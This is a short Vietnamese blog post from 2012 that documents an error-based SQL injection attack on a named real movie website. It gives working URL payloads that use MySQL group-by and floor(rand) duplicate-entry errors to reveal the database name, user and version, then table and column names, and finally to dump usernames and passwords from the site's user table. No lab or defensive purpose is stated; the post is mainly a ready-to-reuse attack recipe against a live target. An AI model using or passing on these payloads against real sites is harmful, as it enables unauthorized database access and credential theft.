Trang chủ » SQL Injection » Lỗi MySQL Query - Xem24h.tk

8 thg 7, 2012

Lỗi MySQL Query - Xem24h.tk

Demo: 
http://xem24h.tk/phim/index.php
 
Code:
http://xem24h.tk/phim/index.php
thêm dấu ' trong ô seach thì báo lỗi:
Code:
Lỗi MySQL Query : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
Code:
'+or+1+group+by+concat(database(),0x7c,user(),0x7c,version(),floor
(rand(0)*2))+having+min(0)+or+1--+
lỗi: Lỗi MySQL Query :
Code:
Duplicate entry 'hkmsjmls_phim|hkmsjmls_phim@localhost|5.5.141' for key 'group_key'

Table:
http://xem24h.tk/phim/search/hai'+or+1+group+by+concat_ws(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1-- -
Column từ table_user

http://xem24h.tk/phim/search/hai'+or+1+group+by+concat_ws(0x7e,(select+column_name+from+information_schema.columns+where+table_schema=database() and table_name=0x7461626c655f75736572+limit 0,1),floor(rand(0)*2))+having+min(0)+or+1-- -

Data từ table_user

http://xem24h.tk/phim/search/hai'+or+1+group+by+concat_ws(0x7e,(select+concat(user_name,0x7c,user_password)+from table_user+limit 0,1),floor(rand(0)*2))+having+min(0)+or+1-- -


The End.
Nhãn:

Không có nhận xét nào:

Đăng nhận xét